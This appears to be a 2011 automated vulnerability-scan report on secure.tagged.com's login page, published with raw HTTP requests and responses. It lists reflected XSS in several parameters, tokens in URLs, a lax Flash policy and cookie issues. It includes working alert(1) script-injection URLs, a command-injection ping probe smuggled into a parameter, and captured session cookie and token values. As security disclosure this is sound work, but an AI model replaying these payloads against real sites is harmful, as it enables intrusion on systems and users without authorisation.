XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, secure.tagged.com, 5-15-2011

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. https://secure.tagged.com/secure_login.html [loc parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/secure_login.html

Issue detail

The value of the loc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d343b"><script>alert(1)</script>cccd7a141af was submitted in the loc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /secure_login.html?ver=2&loc=en_USd343b"><script>alert(1)</script>cccd7a141af&uri=http%3A%2F%2Fwww.tagged.com&display=full HTTP/1.1
Host: secure.tagged.com
Connection: keep-alive
Referer: https://secure.tagged.com/register.html?display=login
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:44:21 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 2301


<html>
<head>

<link rel="stylesheet" type="text/css" href="https://secure-static.tagged.com/dy
...[SNIP]...
<form id="login_form" action="https://secure.tagged.com/secure_login.html?ver=2&loc=en_USd343b"><script>alert(1)</script>cccd7a141af&uri=http%3A%2F%2Fwww.tagged.com&display=full" method="POST" name="login">
...[SNIP]...

1.2. https://secure.tagged.com/secure_login.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/secure_login.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b883"><script>alert(1)</script>868fc1f78e0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /secure_login.html?ver=2&loc=en_US&uri=http%3A%2F%2Fwww.tagged.com&display=full&3b883"><script>alert(1)</script>868fc1f78e0=1 HTTP/1.1
Host: secure.tagged.com
Connection: keep-alive
Referer: https://secure.tagged.com/register.html?display=login
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:45:58 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 2109


<html>
<head>

<link rel="stylesheet" type="text/css" href="https://secure-static.tagged.com/dy
...[SNIP]...
<form id="login_form" action="https://secure.tagged.com/secure_login.html?ver=2&loc=en_US&uri=http%3A%2F%2Fwww.tagged.com&display=full&3b883"><script>alert(1)</script>868fc1f78e0=1" method="POST" name="login">
...[SNIP]...

1.3. https://secure.tagged.com/secure_login.html [uri parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/secure_login.html

Issue detail

The value of the uri request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae18e"><script>alert(1)</script>bd5fd72fb4f was submitted in the uri parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /secure_login.html?ver=2&loc=en_US&uri=http%3A%2F%2Fwww.tagged.comae18e"><script>alert(1)</script>bd5fd72fb4f&display=full HTTP/1.1
Host: secure.tagged.com
Connection: keep-alive
Referer: https://secure.tagged.com/register.html?display=login
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:44:31 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 2301


<html>
<head>

<link rel="stylesheet" type="text/css" href="https://secure-static.tagged.com/dy
...[SNIP]...
<form id="login_form" action="https://secure.tagged.com/secure_login.html?ver=2&loc=en_US&uri=http%3A%2F%2Fwww.tagged.comae18e"><script>alert(1)</script>bd5fd72fb4f&display=full" method="POST" name="login">
...[SNIP]...

1.4. https://secure.tagged.com/secure_login.html [ver parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/secure_login.html

Issue detail

The value of the ver request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2dd03"><script>alert(1)</script>c5012c1ae01 was submitted in the ver parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /secure_login.html?ver=22dd03"><script>alert(1)</script>c5012c1ae01&loc=en_US&uri=http%3A%2F%2Fwww.tagged.com&display=full HTTP/1.1
Host: secure.tagged.com
Connection: keep-alive
Referer: https://secure.tagged.com/register.html?display=login
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:44:09 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 2301


<html>
<head>

<link rel="stylesheet" type="text/css" href="https://secure-static.tagged.com/dy
...[SNIP]...
<form id="login_form" action="https://secure.tagged.com/secure_login.html?ver=22dd03"><script>alert(1)</script>c5012c1ae01&loc=en_US&uri=http%3A%2F%2Fwww.tagged.com&display=full" method="POST" name="login">
...[SNIP]...

2. Session token in URL previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://secure.tagged.com
Path:	/secure_login.html

Issue detail

The URL in the request appears to contain a session token within the query string:

https://secure.tagged.com/secure_login.html?username=&password=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x000043%29%3C%2Fscript%3E&token=88db48c3004723571667ba30eebca51e&perslogin=Y

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Request

GET /secure_login.html?username=&password=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x000043%29%3C%2Fscript%3E&token=88db48c3004723571667ba30eebca51e&perslogin=Y HTTP/1.1
Host: secure.tagged.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.tagged.com/secure_login.html?ver=2&loc=en_US&uri=http%3A%2F%2Fwww.tagged.com&display=full&3b883%22%3E%3Cscript%3Ealert(%22INSECURE%22)%3C/script%3E868fc1f78e0=1

Response

3. Flash cross-domain policy previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: secure.tagged.com

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:36:00 GMT
Server: Apache
Last-Modified: Thu, 24 Mar 2011 16:12:27 GMT
ETag: "1e6f19-15d-49f3cbe55f0c0"
Accept-Ranges: bytes
Content-Length: 349
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only
...[SNIP]...
<allow-access-from domain="*.tagstat.com"/>
...[SNIP]...

4. Password field with autocomplete enabled previous next
There are 6 instances of this issue:

/secure_login.html
/secure_login.html
/secure_login.html
/secure_login.html
/secure_login.html
/secure_login.html

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

4.1. https://secure.tagged.com/secure_login.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/secure_login.html

Issue detail

The page contains a form with the following action URL:

https://secure.tagged.com/secure_login.html?ver=2&loc=en_US&uri=http%3A%2F%2Fwww.tagged.com

The form contains the following password field with autocomplete enabled:

password

Request

GET /secure_login.html?ver=2&loc=en_US&uri=http%3A%2F%2Fwww.tagged.com HTTP/1.1
Host: secure.tagged.com
Connection: keep-alive
Referer: http://www.tagged.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:37:26 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 3943

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="https://secure-static.tagged.com/dyn/css/3/_2
...[SNIP]...
<div class="signin">
<form id="login_form" action="https://secure.tagged.com/secure_login.html?ver=2&loc=en_US&uri=http%3A%2F%2Fwww.tagged.com" method="POST" name="login">
<div class="login_form_container">
...[SNIP]...
<div id="input_container">
<input tabindex="2" id="password" name="password" type="password" class="login_textbox" />
<input id="signInBtn" class="greyBtn" tabindex="3" type="submit" value="Sign In"/>
...[SNIP]...

4.2. https://secure.tagged.com/secure_login.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/secure_login.html

Issue detail

The page contains a form with the following action URL:

https://secure.tagged.com/secure_login.html?ver=2&loc=en_US&uri=http%3A%2F%2Fwww.tagged.com&display=full

The form contains the following password field with autocomplete enabled:

password

Request

GET /secure_login.html?ver=2&loc=en_US&uri=http%3A%2F%2Fwww.tagged.com&display=full HTTP/1.1
Host: secure.tagged.com
Connection: keep-alive
Referer: https://secure.tagged.com/register.html?display=login
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:43:56 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 2258


<html>
<head>

<link rel="stylesheet" type="text/css" href="https://secure-static.tagged.com/dy
...[SNIP]...
<div class="signin">
<form id="login_form" action="https://secure.tagged.com/secure_login.html?ver=2&loc=en_US&uri=http%3A%2F%2Fwww.tagged.com&display=full" method="POST" name="login">
<div id="error_box_filler">
...[SNIP]...
</label>
<input tabindex="2" id="password_login" name="password" type="password" class="text login_textbox" value="'"--></style>
...[SNIP]...

4.3. https://secure.tagged.com/secure_login.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/secure_login.html

Issue detail

The page contains a form with the following action URL:

https://secure.tagged.com/secure_login.html?ver=%22%26ping%20-c%2026%20127.0.0.1%20%26%22&loc=en_US&uri=http%3A%2F%2Fwww.tagged.com&display=full

The form contains the following password field with autocomplete enabled:

password

Request

GET /secure_login.html?ver=%22%26ping%20-c%2026%20127.0.0.1%20%26%22&loc=en_US&uri=http%3A%2F%2Fwww.tagged.com&display=full HTTP/1.1
Host: secure.tagged.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:45:58 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 2103


<html>
<head>

<link rel="stylesheet" type="text/css" href="https://secure-static.tagged.com/dy
...[SNIP]...
<div class="signin">
<form id="login_form" action="https://secure.tagged.com/secure_login.html?ver=%22%26ping%20-c%2026%20127.0.0.1%20%26%22&loc=en_US&uri=http%3A%2F%2Fwww.tagged.com&display=full" method="POST" name="login">
<div id="error_box_filler">
...[SNIP]...
</label>
<input tabindex="2" id="password_login" name="password" type="password" class="text login_textbox" />
<input id="token" name="token" type="hidden" value="76c13743502cc0e80a2b7d34bae375df"/>
...[SNIP]...

4.4. https://secure.tagged.com/secure_login.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/secure_login.html

Issue detail

The page contains a form with the following action URL:

https://secure.tagged.com/secure_login.html

The form contains the following password field with autocomplete enabled:

password

Request

GET /secure_login.html HTTP/1.1
Host: secure.tagged.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:35:59 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 3887

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="https://secure-static.tagged.com/dyn/css/3/_2
...[SNIP]...
<div class="signin">
<form id="login_form" action="https://secure.tagged.com/secure_login.html" method="POST" name="login">
<div class="login_form_container">
...[SNIP]...
<div id="input_container">
<input tabindex="2" id="password" name="password" type="password" class="login_textbox" />
<input id="signInBtn" class="greyBtn" tabindex="3" type="submit" value="Sign In"/>
...[SNIP]...

4.5. https://secure.tagged.com/secure_login.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/secure_login.html

Issue detail

The page contains a form with the following action URL:

https://secure.tagged.com/secure_login.html?ver=2&loc=en_US&r=%2Fideas.html%3Ftype%3Dsuggestions&uri=http%3A%2F%2Fwww.tagged.com

The form contains the following password field with autocomplete enabled:

password

Request

GET /secure_login.html?ver=2&loc=en_US&r=%2Fideas.html%3Ftype%3Dsuggestions&uri=http%3A%2F%2Fwww.tagged.com HTTP/1.1
Host: secure.tagged.com
Connection: keep-alive
Referer: http://www.tagged.com/index.html?r=%2Fideas.html%3Ftype%3Dsuggestions
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:38:30 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 3984

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="https://secure-static.tagged.com/dyn/css/3/_2
...[SNIP]...
<div class="signin">
<form id="login_form" action="https://secure.tagged.com/secure_login.html?ver=2&loc=en_US&r=%2Fideas.html%3Ftype%3Dsuggestions&uri=http%3A%2F%2Fwww.tagged.com" method="POST" name="login">
<div class="login_form_container">
...[SNIP]...
<div id="input_container">
<input tabindex="2" id="password" name="password" type="password" class="login_textbox" />
<input id="signInBtn" class="greyBtn" tabindex="3" type="submit" value="Sign In"/>
...[SNIP]...

4.6. https://secure.tagged.com/secure_login.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/secure_login.html

Issue detail

The page contains a form with the following action URL:

https://secure.tagged.com/secure_login.html?username=&password=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x000043%29%3C%2Fscript%3E&token=88db48c3004723571667ba30eebca51e&perslogin=Y

The form contains the following password field with autocomplete enabled:

password

Request

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:51:11 GMT
Server: Apache
Set-Cookie: S=eukphp97h1sm400vgrjmip7qj6; path=/; domain=tagged.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 4061

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="https://secure-static.tagged.com/dyn/css/3/_2
...[SNIP]...
<div class="signin">
<form id="login_form" action="https://secure.tagged.com/secure_login.html?username=&password=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x000043%29%3C%2Fscript%3E&token=88db48c3004723571667ba30eebca51e&perslogin=Y" method="POST" name="login">
<div class="login_form_container">
...[SNIP]...
<div id="input_container">
<input tabindex="2" id="password" name="password" type="password" class="login_textbox" />
<input id="signInBtn" class="greyBtn" tabindex="3" type="submit" value="Sign In"/>
...[SNIP]...

5. SSL cookie without secure flag set previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/secure_login.html

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

S=eukphp97h1sm400vgrjmip7qj6; path=/; domain=tagged.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

Request

Response

6. Cookie scoped to parent domain previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/secure_login.html

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

S=eukphp97h1sm400vgrjmip7qj6; path=/; domain=tagged.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

Response

7. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.tagged.com
Path:	/register.html

Issue detail

The page was loaded from a URL containing a query string:

https://secure.tagged.com/register.html?page=index

The response contains the following link to another domain:

